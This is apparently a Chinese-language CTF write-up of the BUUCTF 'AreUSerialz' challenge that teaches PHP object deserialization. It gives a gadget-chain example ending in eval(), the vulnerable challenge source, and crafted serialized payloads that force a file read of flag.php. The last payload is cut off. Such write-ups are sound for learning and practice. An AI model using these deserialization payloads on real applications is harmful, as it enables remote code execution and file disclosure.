buuCTF-AreUSerialz_第二届网鼎杯web

写在前面:
web菜鸟,在做buuctf中的网鼎杯赛题的时候,有去学习了一遍php反序列,加深了理解。
为什么会用到序列化,自己的理解就是当一段代码消失时候,保存的数据也会跟着消失,但时如果要是再去使用这些数据的时候,如果在添加十分的不方便,于是就出现了序列化,将数据保存起来。

关键点:
1.我们想用反序列必须存在 unserialize(),且提交的变量可控。
unserialize():反序列化,将字符串转化为类。
serialize():序列化,将类转化为字符串。
2.可控的值,为class 类中的属性(高版本的属性可覆盖)和变量,方法不可以控制。
3.一般与魔术方法搭配使用

这里一开始我不理解为什么要搭配魔术方法使用,了解魔术方法的含义,但不知道为什么这么用。后来看到了这个例子。


class K0rz3n {
    private $test;
    public $K0rz3n = "i am K0rz3n";
    function __construct() {
        $this->test = new L();
    }

    function __destruct() {
        $this->test->action();
    }
}

class L {
    function action() {
        echo "Welcome to XDSEC";
    }
}

class Evil {

    var $test2;
    function action() {
        eval($this->test2);
    }
}

unserialize($_GET['test']);
出自:
https://www.cnblogs.com/fish-pompom/p/11126473.html**

上面这个例子可以看到:
1.存在unserialize()函数,且变量test可控
2.分析存在3个类,后两个类没有可以利用的变量,第一个类中存在可以利用的变量,但是没有可以用到有用的函数,此时发现,第三个类Evil存在action(),存在可以利用的eval
3.我们的思路就是序列化第一个类,从而调用第三个类中的action(),进而利用eval(),但是该怎么调用evil类呢,答案在

 function __destruct() {
        $this->test->action();
    }

在我们序列化的这个类中存在__destruct()析构函数,它会在脚本调用结束的时候执行,析构函数调用了本类中的一个成员函数action(),而action()存在于第三个类且可调用eval()
于是构造


class K0rz3n {
    private $test;
    function __construct() {
        $this->test = new Evil;
    }
}
class Evil {
    var $test2 = "phpinfo();";
}
$K0rz3n = new K0rz3n;
$data = serialize($K0rz3n);
file_put_contents("seria.txt", $data);

K0rz3n.php?test=O:6:“K0rz3n”:1:{s:12:“K0rz3ntest”;O:4:“Evil”:1:{s:5:“test2”;s:10:“phpinfo();”;}}

常用的魔术方法:
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

                分———————————————隔———————————————————线

接下来要写一下AreUSerialz
源码:



include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: 
"
; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }

大体思路就是flag存在于flag.php ,需要读取flag.php的内容
第一种解法:
高版本的php属性可以覆盖:
直接用public进行序列化,将弱类型比较,让op=2,然后读取flag


class FileHandler {
    public $op = 2;
    public $filename = "flag.php";
    public $content = "zeo";
}

$a = new FileHandler();
$b = serialize($a);
print_r($b);

得到:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

第二种解法:
因为private序列化后会存在\x00\x00
protected属性会引入\x00*\x00
但是要配合大写的s,因为这样可以支持后面的16进制

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:6:"loech

还有一种思路就是读取flag路径,利用伪协议读取flag

你可能感兴趣的:(BuuCTF,php)